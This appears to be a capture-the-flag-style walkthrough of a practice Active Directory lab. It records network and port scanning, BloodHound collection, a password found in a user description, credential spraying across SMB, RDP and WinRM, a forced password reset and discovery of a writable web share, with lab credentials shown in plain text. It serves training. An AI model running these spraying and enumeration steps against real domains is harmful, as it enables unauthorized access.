// notes/ Practice Boxes

🏛️

AD Chain 06 — Blueprint AD-Chains (hack-academy.local)

Starting Credentials: sortiz : Shade3729a.

#blueprint ad-chains#adchain#walkthrough#boxes#os:windows#os:linux#tech:active-directory#tech:password-attack

AD Chain 06 — Blueprint AD-Chains (hack-academy.local)

Starting Credentials: sortiz : Shade3729a.

🐺 howlsec@kalishell

$#Configure Chain so you can see it
$sudo ip addr flush dev eth1
$sudo ip addr add 10.0.2.10/24 dev eth1
$sudo ip link set dev eth1 up
$sudo ip route add 10.0.2.0/24 dev eth1

Information Gathering

🐺 howlsec@kalishell

$nxc smb 10.0.2.0/24
$SMB         10.0.2.4        445    DC01             [*] Windows Server 2022 Build 20348 x64 (name:DC01) (domain:hack-academy.local) (signing:True) (SMBv1:False)
$SMB         10.0.2.7        445    CLIENT-1         [*] Windows 10 / Server 2019 Build 19041 x64 (name:CLIENT-1) (domain:hack-academy.local) (signing:False) (SMBv1:False)
$SMB         10.0.2.9        445    CLIENT-2         [*] Windows 10 / Server 2019 Build 19041 x64 (name:CLIENT-2) (domain:hack-academy.local) (signing:False) (SMBv1:False)
$Running nxc against 256 targets ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ 100% 0:00:00

Port Enumeration

🐺 howlsec@kalishell

$nmap -p- -Pn -iL ips -v --min-rate 1000 --max-rtt-timeout 1000ms --max-retries 5 -oN nmap_ports.txt && sleep 5 && nmap -Pn -iL ips -sV -sC -v -oN nmap_sVsC.txt
$ 
$#CLIEN1 10.0.2.7
$PORT     STATE SERVICE       VERSION
$135/tcp  open  msrpc         Microsoft Windows RPC
$139/tcp  open  netbios-ssn   Microsoft Windows netbios-ssn
$445/tcp  open  microsoft-ds?
$3389/tcp open  ms-wbt-server Microsoft Terminal Services
$| rdp-ntlm-info: 
$|   Target_Name: HACK-ACADEMY
$|   NetBIOS_Domain_Name: HACK-ACADEMY
$|   NetBIOS_Computer_Name: CLIENT-1
$|   DNS_Domain_Name: hack-academy.local
$|   DNS_Computer_Name: Client-1.hack-academy.local
$|   Product_Version: 10.0.19041
$|_  System_Time: 2026-02-17T18:50:34+00:00
$| ssl-cert: Subject: commonName=Client-1.hack-academy.local
$| Issuer: commonName=Client-1.hack-academy.local
$| Public Key type: rsa
$| Public Key bits: 2048
$| Signature Algorithm: sha256WithRSAEncryption
$| Not valid before: 2026-01-31T09:53:51
$| Not valid after:  2026-08-02T09:53:51
$| MD5:   e2ca:9d4a:434c:ed5f:49dd:e567:b574:de2d
$|_SHA-1: 61bb:4e31:60f0:9e07:104b:1a43:7d42:bc81:23b8:a40a
$|_ssl-date: 2026-02-17T18:51:14+00:00; +1s from scanner time.
$5985/tcp open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
$|_http-server-header: Microsoft-HTTPAPI/2.0
$|_http-title: Not Found
$MAC Address: 08:00:27:80:1D:57 (PCS Systemtechnik/Oracle VirtualBox virtual NIC)
$Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
$ 
$Host script results:
$| nbstat: NetBIOS name: CLIENT-1, NetBIOS user: <unknown>, NetBIOS MAC: 08:00:27:80:1d:57 (PCS Systemtechnik/Oracle VirtualBox virtual NIC)
$| Names:
$|   CLIENT-1<00>         Flags: <unique><active>
$|   HACK-ACADEMY<00>     Flags: <group><active>
$|_  CLIENT-1<20>         Flags: <unique><active>
$| smb2-time: 
$|   date: 2026-02-17T18:50:32
$|_  start_date: N/A
$| smb2-security-mode: 
$|   3:1:1: 
$|_    Message signing enabled but not required
$ 
$#CLIEN2 10.0.2.9
$PORT     STATE SERVICE       VERSION
$80/tcp   open  http          Microsoft IIS httpd 10.0
$| http-methods: 
$|   Supported Methods: OPTIONS TRACE GET HEAD POST
$|_  Potentially risky methods: TRACE
$|_http-server-header: Microsoft-IIS/10.0
$|_http-title: IIS Windows
$135/tcp  open  msrpc         Microsoft Windows RPC
$139/tcp  open  netbios-ssn   Microsoft Windows netbios-ssn
$445/tcp  open  microsoft-ds?
$3389/tcp open  ms-wbt-server Microsoft Terminal Services
$|_ssl-date: 2026-02-17T18:51:14+00:00; +1s from scanner time.
$| ssl-cert: Subject: commonName=Client-2.hack-academy.local
$| Issuer: commonName=Client-2.hack-academy.local
$| Public Key type: rsa
$| Public Key bits: 2048
$| Signature Algorithm: sha256WithRSAEncryption
$| Not valid before: 2026-02-02T10:52:31
$| Not valid after:  2026-08-04T10:52:31
$| MD5:   3487:a270:4e8c:57fa:8809:f5dd:59c1:34c2
$|_SHA-1: ab49:75c9:20f7:93af:d164:f089:b883:f556:f711:b796
$| rdp-ntlm-info: 
$|   Target_Name: HACK-ACADEMY
$|   NetBIOS_Domain_Name: HACK-ACADEMY
$|   NetBIOS_Computer_Name: CLIENT-2
$|   DNS_Domain_Name: hack-academy.local
$|   DNS_Computer_Name: Client-2.hack-academy.local
$|   Product_Version: 10.0.19041
$|_  System_Time: 2026-02-17T18:50:32+00:00
$5985/tcp open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
$|_http-server-header: Microsoft-HTTPAPI/2.0
$|_http-title: Not Found
$MAC Address: 08:00:27:6C:31:CF (PCS Systemtechnik/Oracle VirtualBox virtual NIC)
$Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
$ 
$Host script results:
$| smb2-security-mode: 
$|   3:1:1: 
$|_    Message signing enabled but not required
$| nbstat: NetBIOS name: CLIENT-2, NetBIOS user: <unknown>, NetBIOS MAC: 08:00:27:6c:31:cf (PCS Systemtechnik/Oracle VirtualBox virtual NIC)
$| Names:
$|   CLIENT-2<00>         Flags: <unique><active>
$|   HACK-ACADEMY<00>     Flags: <group><active>
$|_  CLIENT-2<20>         Flags: <unique><active>
$| smb2-time: 
$|   date: 2026-02-17T18:50:34
$|_  start_date: N/A
$ 
$#DC (10.0.2.4)
$PORT     STATE SERVICE       VERSION
$53/tcp   open  domain        Simple DNS Plus
$80/tcp   open  http          Microsoft IIS httpd 10.0
$| http-methods: 
$|   Supported Methods: OPTIONS TRACE GET HEAD POST
$|_  Potentially risky methods: TRACE
$|_http-server-header: Microsoft-IIS/10.0
$|_http-title: IIS Windows Server
$88/tcp   open  kerberos-sec  Microsoft Windows Kerberos (server time: 2026-02-17 21:49:46Z)
$135/tcp  open  msrpc         Microsoft Windows RPC
$139/tcp  open  netbios-ssn   Microsoft Windows netbios-ssn
$389/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: hack-academy.local, Site: Default-First-Site-Name)
$|_ssl-date: 2026-02-17T21:51:14+00:00; +2h59m59s from scanner time.
$| ssl-cert: Subject: commonName=DC01.hack-academy.local
$| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:DC01.hack-academy.local
$| Issuer: commonName=Hack-Academy-CA
$| Public Key type: rsa
$| Public Key bits: 2048
$| Signature Algorithm: sha256WithRSAEncryption
$| Not valid before: 2026-01-29T02:57:06
$| Not valid after:  2027-01-29T02:57:06
$| MD5:   286b:9de0:1de9:5c34:00b9:fc20:bc36:1b6c
$|_SHA-1: a585:0f01:91a4:ec8e:0082:e9ce:d702:d8cb:333a:cd3e
$445/tcp  open  microsoft-ds?
$464/tcp  open  kpasswd5?
$593/tcp  open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
$636/tcp  open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: hack-academy.local, Site: Default-First-Site-Name)
$| ssl-cert: Subject: commonName=DC01.hack-academy.local
$| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:DC01.hack-academy.local
$| Issuer: commonName=Hack-Academy-CA
$| Public Key type: rsa
$| Public Key bits: 2048
$| Signature Algorithm: sha256WithRSAEncryption
$| Not valid before: 2026-01-29T02:57:06
$| Not valid after:  2027-01-29T02:57:06
$| MD5:   286b:9de0:1de9:5c34:00b9:fc20:bc36:1b6c
$|_SHA-1: a585:0f01:91a4:ec8e:0082:e9ce:d702:d8cb:333a:cd3e
$|_ssl-date: 2026-02-17T21:51:14+00:00; +3h00m00s from scanner time.
$3268/tcp open  ldap          Microsoft Windows Active Directory LDAP (Domain: hack-academy.local, Site: Default-First-Site-Name)
$|_ssl-date: 2026-02-17T21:51:14+00:00; +2h59m59s from scanner time.
$| ssl-cert: Subject: commonName=DC01.hack-academy.local
$| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:DC01.hack-academy.local
$| Issuer: commonName=Hack-Academy-CA
$| Public Key type: rsa
$| Public Key bits: 2048
$| Signature Algorithm: sha256WithRSAEncryption
$| Not valid before: 2026-01-29T02:57:06
$| Not valid after:  2027-01-29T02:57:06
$| MD5:   286b:9de0:1de9:5c34:00b9:fc20:bc36:1b6c
$|_SHA-1: a585:0f01:91a4:ec8e:0082:e9ce:d702:d8cb:333a:cd3e
$3269/tcp open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: hack-academy.local, Site: Default-First-Site-Name)
$|_ssl-date: 2026-02-17T21:51:14+00:00; +3h00m00s from scanner time.
$| ssl-cert: Subject: commonName=DC01.hack-academy.local
$| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:DC01.hack-academy.local
$| Issuer: commonName=Hack-Academy-CA
$| Public Key type: rsa
$| Public Key bits: 2048
$| Signature Algorithm: sha256WithRSAEncryption
$| Not valid before: 2026-01-29T02:57:06
$| Not valid after:  2027-01-29T02:57:06
$| MD5:   286b:9de0:1de9:5c34:00b9:fc20:bc36:1b6c
$|_SHA-1: a585:0f01:91a4:ec8e:0082:e9ce:d702:d8cb:333a:cd3e
$5985/tcp open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
$|_http-title: Not Found
$|_http-server-header: Microsoft-HTTPAPI/2.0
$MAC Address: 08:00:27:40:1A:93 (PCS Systemtechnik/Oracle VirtualBox virtual NIC)
$Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows

Checked if I could access anything with the provided credentials but couldn’t

🐺 howlsec@kalishell

$nxc smb ips -u sortiz -p 'Shade3729a.'     
$SMB         10.0.2.4        445    DC01             [*] Windows Server 2022 Build 20348 x64 (name:DC01) (domain:hack-academy.local) (signing:True) (SMBv1:False)
$SMB         10.0.2.7        445    CLIENT-1         [*] Windows 10 / Server 2019 Build 19041 x64 (name:CLIENT-1) (domain:hack-academy.local) (signing:False) (SMBv1:False)
$SMB         10.0.2.9        445    CLIENT-2         [*] Windows 10 / Server 2019 Build 19041 x64 (name:CLIENT-2) (domain:hack-academy.local) (signing:False) (SMBv1:False)
$SMB         10.0.2.4        445    DC01             [+] hack-academy.local\sortiz:Shade3729a. 
$SMB         10.0.2.7        445    CLIENT-1         [+] hack-academy.local\sortiz:Shade3729a. 
$SMB         10.0.2.9        445    CLIENT-2         [+] hack-academy.local\sortiz:Shade3729a. 
$Running nxc against 3 targets ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ 100% 0:00:00
$                                                                                                                                                            
$┌──(kali㉿kali)-[~/AD-chain6]
$└─$ nxc winrm ips -u sortiz -p 'Shade3729a.' 
$WINRM       10.0.2.4        5985   DC01             [*] Windows Server 2022 Build 20348 (name:DC01) (domain:hack-academy.local)
$WINRM       10.0.2.9        5985   CLIENT-2         [*] Windows 10 / Server 2019 Build 19041 (name:CLIENT-2) (domain:hack-academy.local)
$WINRM       10.0.2.7        5985   CLIENT-1         [*] Windows 10 / Server 2019 Build 19041 (name:CLIENT-1) (domain:hack-academy.local)
$/usr/lib/python3/dist-packages/spnego/_ntlm_raw/crypto.py:46: CryptographyDeprecationWarning: ARC4 has been moved to cryptography.hazmat.decrepit.ciphers.algorithms.ARC4 and will be removed from cryptography.hazmat.primitives.ciphers.algorithms in 48.0.0.
$  arc4 = algorithms.ARC4(self._key)
$WINRM       10.0.2.4        5985   DC01             [-] hack-academy.local\sortiz:Shade3729a.
$/usr/lib/python3/dist-packages/spnego/_ntlm_raw/crypto.py:46: CryptographyDeprecationWarning: ARC4 has been moved to cryptography.hazmat.decrepit.ciphers.algorithms.ARC4 and will be removed from cryptography.hazmat.primitives.ciphers.algorithms in 48.0.0.
$  arc4 = algorithms.ARC4(self._key)
$WINRM       10.0.2.9        5985   CLIENT-2         [-] hack-academy.local\sortiz:Shade3729a.
$/usr/lib/python3/dist-packages/spnego/_ntlm_raw/crypto.py:46: CryptographyDeprecationWarning: ARC4 has been moved to cryptography.hazmat.decrepit.ciphers.algorithms.ARC4 and will be removed from cryptography.hazmat.primitives.ciphers.algorithms in 48.0.0.
$  arc4 = algorithms.ARC4(self._key)
$WINRM       10.0.2.7        5985   CLIENT-1         [-] hack-academy.local\sortiz:Shade3729a.
$Running nxc against 3 targets ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ 100% 0:00:00
$                                                                                                                                                            
$┌──(kali㉿kali)-[~/AD-chain6]
$└─$ nxc rdp ips -u sortiz -p 'Shade3729a.' 
$RDP         10.0.2.9        3389   CLIENT-2         [*] Windows 10 or Windows Server 2016 Build 19041 (name:CLIENT-2) (domain:hack-academy.local) (nla:True)
$RDP         10.0.2.7        3389   CLIENT-1         [*] Windows 10 or Windows Server 2016 Build 19041 (name:CLIENT-1) (domain:hack-academy.local) (nla:True)
$RDP         10.0.2.9        3389   CLIENT-2         [+] hack-academy.local\sortiz:Shade3729a. 
$RDP         10.0.2.7        3389   CLIENT-1         [+] hack-academy.local\sortiz:Shade3729a. 
$Running nxc against 3 targets ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ 100% 0:00:00
$

Got Bloodhound data

🐺 howlsec@kalishell

$nxc ldap 10.0.2.4 -u sortiz -p 'Shade3729a.' --bloodhound --collection All --dns-server 10.0.2.4
$LDAP        10.0.2.4        389    DC01             [*] Windows Server 2022 Build 20348 (name:DC01) (domain:hack-academy.local)
$LDAP        10.0.2.4        389    DC01             [+] hack-academy.local\sortiz:Shade3729a. 
$LDAP        10.0.2.4        389    DC01             Resolved collection methods: psremote, objectprops, trusts, acl, group, dcom, container, session, rdp, localadmin
$LDAP        10.0.2.4        389    DC01             Done in 00M 01S
$LDAP        10.0.2.4        389    DC01             Compressing output into /home/kali/.nxc/logs/DC01_10.0.2.4_2026-02-17_142204_bloodhound.zip
$                                                                                                                                                            
$┌──(kali㉿kali)-[~/AD-chain6]
$└─$ cp /home/kali/.nxc/logs/DC01_10.0.2.4_2026-02-17_142204_bloodhound.zip /tmp

Got also all domain users and found password for websvc in descriptions! websvc : ChangeMe123!

🐺 howlsec@kalishell

$nxc ldap 10.0.2.4 -u sortiz -p 'Shade3729a.' --users                                            
$LDAP        10.0.2.4        389    DC01             [*] Windows Server 2022 Build 20348 (name:DC01) (domain:hack-academy.local)
$LDAP        10.0.2.4        389    DC01             [+] hack-academy.local\sortiz:Shade3729a. 
$LDAP        10.0.2.4        389    DC01             [*] Enumerated 24 domain users: hack-academy.local
$LDAP        10.0.2.4        389    DC01             -Username-                    -Last PW Set-       -BadPW-  -Description-                                
$LDAP        10.0.2.4        389    DC01             Administrator                 2026-01-11 17:02:56 0        Built-in account for administering the computer/domain
$LDAP        10.0.2.4        389    DC01             Guest                         <never>             0        Built-in account for guest access to the computer/domain
$LDAP        10.0.2.4        389    DC01             krbtgt                        2025-08-24 13:08:23 0        Key Distribution Center Service Account      
$LDAP        10.0.2.4        389    DC01             ecole                         2026-01-11 17:02:56 0                                                     
$LDAP        10.0.2.4        389    DC01             malvarez                      2026-01-11 17:02:56 0                                                     
$LDAP        10.0.2.4        389    DC01             rwhitaker                     2026-01-11 17:02:56 0                                                     
$LDAP        10.0.2.4        389    DC01             sbennett                      2026-01-11 17:02:56 0                                                     
$LDAP        10.0.2.4        389    DC01             dmorris                       2026-01-11 17:02:56 0                                                     
$LDAP        10.0.2.4        389    DC01             pnair                         2026-01-11 17:02:56 0                                                     
$LDAP        10.0.2.4        389    DC01             treed                         2026-01-11 17:02:56 0                                                     
$LDAP        10.0.2.4        389    DC01             ekovacs                       2026-01-11 17:02:56 0                                                     
$LDAP        10.0.2.4        389    DC01             mliu                          2026-01-11 17:02:56 0                                                     
$LDAP        10.0.2.4        389    DC01             hbrooks                       2026-01-11 17:02:56 0                                                     
$LDAP        10.0.2.4        389    DC01             ogrant                        2026-01-11 17:02:56 0                                                     
$LDAP        10.0.2.4        389    DC01             nfisher                       2026-01-11 17:02:56 0                                                     
$LDAP        10.0.2.4        389    DC01             vlang                         2026-01-11 17:02:56 0                                                     
$LDAP        10.0.2.4        389    DC01             imckenzie                     2026-01-11 17:02:57 0                                                     
$LDAP        10.0.2.4        389    DC01             sortiz                        2026-01-11 17:02:57 0                                                     
$LDAP        10.0.2.4        389    DC01             cmendes                       2026-01-11 17:02:57 0                                                     
$LDAP        10.0.2.4        389    DC01             jpark                         2026-01-11 17:02:57 0                                                     
$LDAP        10.0.2.4        389    DC01             folsen                        2026-01-11 17:02:57 0                                                     
$LDAP        10.0.2.4        389    DC01             avega                         2026-01-11 17:02:57 0                                                     
$LDAP        10.0.2.4        389    DC01             mturner                       2026-01-11 17:02:57 0                                                     
$LDAP        10.0.2.4        389    DC01             websvc                        <never>             0        ChangeMe123!

Sprayed all IPS and protocols (smb, rdp, winrm) but couldnt find any access point!

🐺 howlsec@kalishell

$nxc rdp ips -u users -p passwords --continue-on-success
$RDP         10.0.2.9        3389   CLIENT-2         [-] hack-academy.local\websvc:ChangeMe123! (STATUS_PASSWORD_MUST_CHANGE)
$RDP         10.0.2.7        3389   CLIENT-1         [+] hack-academy.local\sortiz:Shade3729a. 
$RDP         10.0.2.7        3389   CLIENT-1         [-] hack-academy.local\websvc:ChangeMe123! (STATUS_PASSWORD_MUST_CHANGE)

Got BH data but didn’t find anything worthy. No asreproastable users nor kerberoastable. (screenshot omitted) Tried web fuzzing but nothing found

🐺 howlsec@kalishell

$feroxbuster -u http://10.0.2.9/ -w /usr/share/dirb/wordlists/big.txt -r -t 15 -C 404,500
$                                                                                                                                                            
$ ___  ___  __   __     __      __         __   ___
$|__  |__  |__) |__) | /  `    /  \ _/ | |  \ |__
$|    |___ |  \ |  \ | __,    __/ / \ | |__/ |___
$by Ben "epi" Risher 🤓                 ver: 2.13.1
$───────────────────────────┬──────────────────────
$ 🎯  Target Url            │ http://10.0.2.9/
$ 🚩  In-Scope Url          │ 10.0.2.9
$ 🚀  Threads               │ 15
$ 📖  Wordlist              │ /usr/share/dirb/wordlists/big.txt
$ 💢  Status Code Filters   │ [404, 500]
$ 💥  Timeout (secs)        │ 7
$ 🦡  User-Agent            │ feroxbuster/2.13.1
$ 💉  Config File           │ /etc/feroxbuster/ferox-config.toml
$ 🔎  Extract Links         │ true
$ 🏁  HTTP methods          │ [GET]
$ 📍  Follow Redirects      │ true
$ 🔃  Recursion Depth       │ 4
$───────────────────────────┴──────────────────────
$ 🏁  Press [ENTER] to use the Scan Management Menu™
$──────────────────────────────────────────────────
$404      GET       29l       95w     1245c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
$200      GET      359l     2112w   178556c http://10.0.2.9/iisstart.png
$200      GET       32l       54w      696c http://10.0.2.9/
$403      GET       29l       92w     1233c http://10.0.2.9/aspnet_client/
$403      GET       29l       92w     1233c http://10.0.2.9/aspnet_client/system_web/
$[####################] - 2m     61418/61418   0s      found:4       errors:0      
$[####################] - 55s    20469/20469   371/s   http://10.0.2.9/ 
$[####################] - 59s    20469/20469   344/s   http://10.0.2.9/aspnet_client/ 
$[####################] - 36s    20469/20469   565/s   http://10.0.2.9/aspnet_client/system_web/

Check for certipy vulnerabilities. Checked with websvc but no vulnerabilities found!

🐺 howlsec@kalishell

$certipy-ad find -u sortiz@hack-academy.local -p 'Shade3729a.' -dc-ip 10.0.2.4 -vulnerable -stdout 
$Certipy v5.0.3 - by Oliver Lyak (ly4k)
$ 
$[*] Finding certificate templates
$[*] Found 34 certificate templates
$[*] Finding certificate authorities
$[*] Found 1 certificate authority
$[*] Found 12 enabled certificate templates
$[*] Finding issuance policies
$[*] Found 14 issuance policies
$[*] Found 0 OIDs linked to templates
$[*] Retrieving CA configuration for 'Hack-Academy-CA' via RRP
$[*] Successfully retrieved CA configuration for 'Hack-Academy-CA'
$[*] Checking web enrollment for CA 'Hack-Academy-CA' @ 'DC01.hack-academy.local'
$[!] Error checking web enrollment: timed out
$[!] Use -debug to print a stacktrace
$[*] Enumeration output:
$Certificate Authorities
$  0
$    CA Name                             : Hack-Academy-CA
$    DNS Name                            : DC01.hack-academy.local
$    Certificate Subject                 : CN=Hack-Academy-CA, DC=hack-academy, DC=local
$    Certificate Serial Number           : 38C92BC4E49DC1B64C35846E93F530D1
$    Certificate Validity Start          : 2026-01-29 02:53:27+00:00
$    Certificate Validity End            : 2036-01-29 03:03:26+00:00
$    Web Enrollment
$      HTTP
$        Enabled                         : False
$      HTTPS
$        Enabled                         : False
$    User Specified SAN                  : Disabled
$    Request Disposition                 : Issue
$    Enforce Encryption for Requests     : Enabled
$    Active Policy                       : CertificateAuthority_MicrosoftDefault.Policy
$    Permissions
$      Owner                             : HACK-ACADEMY.LOCAL\Administrators
$      Access Rights
$        ManageCa                        : HACK-ACADEMY.LOCAL\Administrators
$                                          HACK-ACADEMY.LOCAL\Domain Admins
$                                          HACK-ACADEMY.LOCAL\Enterprise Admins
$        ManageCertificates              : HACK-ACADEMY.LOCAL\Administrators
$                                          HACK-ACADEMY.LOCAL\Domain Admins
$                                          HACK-ACADEMY.LOCAL\Enterprise Admins
$        Enroll                          : HACK-ACADEMY.LOCAL\Authenticated Users
$Certificate Templates                   : [!] Could not find any certificate templates
$

Since I saw that password must be changed in the netexec output I went ahead and changed it!

🐺 howlsec@kalishell

$nxc rdp ips -u users -p passwords --continue-on-success | fgrep -vi 'LOGON_FAILURE'
$RDP                      10.0.2.9        3389   CLIENT-2         [*] Windows 10 or Windows Server 2016 Build 19041 (name:CLIENT-2) (domain:hack-academy.local) (nla:True)
$RDP                      10.0.2.7        3389   CLIENT-1         [*] Windows 10 or Windows Server 2016 Build 19041 (name:CLIENT-1) (domain:hack-academy.local) (nla:True)
$RDP                      10.0.2.9        3389   CLIENT-2         [+] hack-academy.local\sortiz:Shade3729a. 
$RDP                      10.0.2.9        3389   CLIENT-2         [-] hack-academy.local\websvc:ChangeMe123! (STATUS_PASSWORD_MUST_CHANGE)
$RDP                      10.0.2.7        3389   CLIENT-1         [+] hack-academy.local\sortiz:Shade3729a. 
$RDP                      10.0.2.7        3389   CLIENT-1         [-] hack-academy.local\websvc:ChangeMe123! (STATUS_PASSWORD_MUST_CHANGE)
$Running nxc against 3 targets ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ 100% 0:00:00

Changed the password with smbpasswd. You want to do it against DC since its a domain user. Credentials —> websvc : ChangeMe123!!

🐺 howlsec@kalishell

$smbpasswd -r 10.0.2.4 -U websvc
$Old SMB password:
$New SMB password:
$Retype new SMB password:
$Password changed for user websvc

Checked certipy with new credentials but didn’t find anything

🐺 howlsec@kalishell

$certipy-ad find -u websvc@hack-academy.local -p 'ChangeMe123!!' -dc-ip 10.0.2.4 -vulnerable -stdout 
$Certipy v5.0.3 - by Oliver Lyak (ly4k)
$ 
$[*] Finding certificate templates
$[*] Found 34 certificate templates
$[*] Finding certificate authorities
$[*] Found 1 certificate authority
$[*] Found 12 enabled certificate templates
$[*] Finding issuance policies
$[*] Found 14 issuance policies
$[*] Found 0 OIDs linked to templates
$[*] Retrieving CA configuration for 'Hack-Academy-CA' via RRP
$[!] Failed to connect to remote registry. Service should be starting now. Trying again...
$[*] Successfully retrieved CA configuration for 'Hack-Academy-CA'
$[*] Checking web enrollment for CA 'Hack-Academy-CA' @ 'DC01.hack-academy.local'
$[!] Error checking web enrollment: timed out
$[!] Use -debug to print a stacktrace
$[*] Enumeration output:
$Certificate Authorities
$  0
$    CA Name                             : Hack-Academy-CA
$    DNS Name                            : DC01.hack-academy.local
$    Certificate Subject                 : CN=Hack-Academy-CA, DC=hack-academy, DC=local
$    Certificate Serial Number           : 38C92BC4E49DC1B64C35846E93F530D1
$    Certificate Validity Start          : 2026-01-29 02:53:27+00:00
$    Certificate Validity End            : 2036-01-29 03:03:26+00:00
$    Web Enrollment
$      HTTP
$        Enabled                         : False
$      HTTPS
$        Enabled                         : False
$    User Specified SAN                  : Disabled
$    Request Disposition                 : Issue
$    Enforce Encryption for Requests     : Enabled
$    Active Policy                       : CertificateAuthority_MicrosoftDefault.Policy
$    Permissions
$      Owner                             : HACK-ACADEMY.LOCAL\Administrators
$      Access Rights
$        ManageCa                        : HACK-ACADEMY.LOCAL\Administrators
$                                          HACK-ACADEMY.LOCAL\Domain Admins
$                                          HACK-ACADEMY.LOCAL\Enterprise Admins
$        ManageCertificates              : HACK-ACADEMY.LOCAL\Administrators
$                                          HACK-ACADEMY.LOCAL\Domain Admins
$                                          HACK-ACADEMY.LOCAL\Enterprise Admins
$        Enroll                          : HACK-ACADEMY.LOCAL\Authenticated Users
$Certificate Templates                   : [!] Could not find any certificate templates

Checked the SMB shares and found out that websvc can READ and WRITE on CLient2

🐺 howlsec@kalishell

$nxc smb ips -u 'websvc' -p 'ChangeMe123!!' --shares
$SMB         10.0.2.4        445    DC01             [*] Windows Server 2022 Build 20348 x64 (name:DC01) (domain:hack-academy.local) (signing:True) (SMBv1:False)
$SMB         10.0.2.7        445    CLIENT-1         [*] Windows 10 / Server 2019 Build 19041 x64 (name:CLIENT-1) (domain:hack-academy.local) (signing:False) (SMBv1:False)
$SMB         10.0.2.9        445    CLIENT-2         [*] Windows 10 / Server 2019 Build 19041 x64 (name:CLIENT-2) (domain:hack-academy.local) (signing:False) (SMBv1:False)
$SMB         10.0.2.4        445    DC01             [+] hack-academy.local\websvc:ChangeMe123!! 
$SMB         10.0.2.7        445    CLIENT-1         [+] hack-academy.local\websvc:ChangeMe123!! 
$SMB         10.0.2.9        445    CLIENT-2         [+] hack-academy.local\websvc:ChangeMe123!! 
$SMB         10.0.2.7        445    CLIENT-1         [*] Enumerated shares
$SMB         10.0.2.7        445    CLIENT-1         Share           Permissions     Remark
$SMB         10.0.2.7        445    CLIENT-1         -----           -----------     ------
$SMB         10.0.2.7        445    CLIENT-1         ADMIN$                          Remote Admin
$SMB         10.0.2.7        445    CLIENT-1         C$                              Default share
$SMB         10.0.2.7        445    CLIENT-1         IPC$            READ            Remote IPC
$SMB         10.0.2.4        445    DC01             [*] Enumerated shares
$SMB         10.0.2.4        445    DC01             Share           Permissions     Remark
$SMB         10.0.2.4        445    DC01             -----           -----------     ------
$SMB         10.0.2.4        445    DC01             ADMIN$                          Remote Admin
$SMB         10.0.2.4        445    DC01             C$                              Default share
$SMB         10.0.2.4        445    DC01             IPC$            READ            Remote IPC
$SMB         10.0.2.4        445    DC01             NETLOGON        READ            Logon server share 
$SMB         10.0.2.4        445    DC01             SYSVOL          READ            Logon server share 
$SMB         10.0.2.9        445    CLIENT-2         [*] Enumerated shares
$SMB         10.0.2.9        445    CLIENT-2         Share           Permissions     Remark
$SMB         10.0.2.9        445    CLIENT-2         -----           -----------     ------
$SMB         10.0.2.9        445    CLIENT-2         ADMIN$                          Remote Admin
$SMB         10.0.2.9        445    CLIENT-2         C$                              Default share
$SMB         10.0.2.9        445    CLIENT-2         IPC$            READ            Remote IPC
$SMB         10.0.2.9        445    CLIENT-2         Web             READ,WRITE      
$Running nxc against 3 targets ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ 100% 0:00:00
$

Spidered it to get all data

🐺 howlsec@kalishell

$nxc smb 10.0.2.9 -u 'websvc' -p 'ChangeMe123!!' --shares --spider Web --regex .
$SMB         10.0.2.9        445    CLIENT-2         [*] Windows 10 / Server 2019 Build 19041 x64 (name:CLIENT-2) (domain:hack-academy.local) (signing:False) (SMBv1:False)
$SMB         10.0.2.9        445    CLIENT-2         [+] hack-academy.local\websvc:ChangeMe123!! 
$SMB         10.0.2.9        445    CLIENT-2         [*] Enumerated shares
$SMB         10.0.2.9        445    CLIENT-2         Share           Permissions     Remark
$SMB         10.0.2.9        445    CLIENT-2         -----           -----------     ------
$SMB         10.0.2.9        445    CLIENT-2         ADMIN$                          Remote Admin
$SMB         10.0.2.9        445    CLIENT-2         C$                              Default share
$SMB         10.0.2.9        445    CLIENT-2         IPC$            READ            Remote IPC
$SMB         10.0.2.9        445    CLIENT-2         Web             READ,WRITE      
$SMB         10.0.2.9        445    CLIENT-2         [*] Started spidering
$SMB         10.0.2.9        445    CLIENT-2         [*] Spidering .
$SMB         10.0.2.9        445    CLIENT-2         //10.0.2.9/Web/. [dir]
$SMB         10.0.2.9        445    CLIENT-2         //10.0.2.9/Web/.. [dir]
$SMB         10.0.2.9        445    CLIENT-2         //10.0.2.9/Web/aspnet_client [dir]
$SMB         10.0.2.9        445    CLIENT-2         //10.0.2.9/Web/iisstart.htm [lastm:'2026-02-02 09:16' size:696]
$SMB         10.0.2.9        445    CLIENT-2         //10.0.2.9/Web/iisstart.png [lastm:'2026-02-02 09:16' size:98757]
$SMB         10.0.2.9        445    CLIENT-2         //10.0.2.9/Web/aspnet_client/. [dir]
$SMB         10.0.2.9        445    CLIENT-2         //10.0.2.9/Web/aspnet_client/.. [dir]
$SMB         10.0.2.9        445    CLIENT-2         //10.0.2.9/Web/aspnet_client/system_web [dir]
$SMB         10.0.2.9        445    CLIENT-2         //10.0.2.9/Web/aspnet_client/system_web/. [dir]
$SMB         10.0.2.9        445    CLIENT-2         //10.0.2.9/Web/aspnet_client/system_web/.. [dir]
$SMB         10.0.2.9        445    CLIENT-2         //10.0.2.9/Web/aspnet_client/system_web/4_0_30319 [dir]
